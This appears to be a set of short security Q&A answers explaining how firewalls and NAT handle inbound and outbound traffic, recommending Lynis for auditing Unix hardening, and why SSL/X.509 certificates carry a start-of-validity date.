Many Internet protocols are client / server based, and the end-user is on the client side of that, thus originating the connection. DNS queries, HTTP requests, etc. are all initiated from your side. Since your firewall device (or NAT router) is allowing outbound traffic and associated inbound traffic back, this works. Applications that act as equal peers or client / server applications where you're acting as the server would not work unless you specified rules to allow them because there would be no prior connection for the device to match and allow inbound traffic against.


Tools to test all-around hardness of a Unix installation?

On the defensive side, try Lynis
It does a nice job of assessing the defensive posture, looks at settings, what's listening, ports, services, common problematic patterns, etc.


Why are SSL certificates valid only from a certain date?

Historically, certificates have a start-of-validity date mostly for symmetry: they have an end-of-validity, so the original designers found it appropriate, for unspecified reasons, to include a start-of-validity date as well.

Nowadays, such dates have found a usage, which is past validation. That's what you do when you verify a signature several months/years after the deed. This is a complicated game with time stamps and projecting yourself in the past. The start-of-validity date then plays an important role (although hard to explain in a few paragraphs).

Of course, past validation is not at all the same context as a SSL connection, but they use the same format for certificates (X.509), and the start-of-validity field must be set. Usual CA set the start-of-validity at a few minutes or hours before the issuance date.